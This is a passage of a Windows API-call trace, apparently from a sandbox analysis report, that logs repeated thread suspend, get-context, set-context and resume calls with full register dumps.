[117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.938] ResumeThread (hThread=0xd8) returned 0x1 [0110.938] CloseHandle (hObject=0xd8) returned 1 [0110.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.940] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.048] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.179] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0111.179] SuspendThread (hThread=0xd8) returned 0x0 [0111.180] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f852000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.180] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.181] ResumeThread (hThread=0xd8) returned 0x1 [0111.181] CloseHandle (hObject=0xd8) returned 1 [0111.181] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.292] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.417] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0111.418] SuspendThread (hThread=0xd8) returned 0x0 [0111.418] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1738, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f71c6e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.418] ResumeThread (hThread=0xd8) returned 0x1 [0111.418] CloseHandle (hObject=0xd8) returned 1 [0111.418] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.526] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0111.526] SuspendThread (hThread=0xd8) returned 0x0 [0111.526] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fb40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f716240, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.527] ResumeThread (hThread=0xd8) returned 0x1 [0111.527] CloseHandle (hObject=0xd8) returned 1 [0111.527] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.571] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.641] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.746] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.868] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0111.869] SuspendThread (hThread=0xd8) returned 0x0 [0111.870] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1568, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f73e260, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, 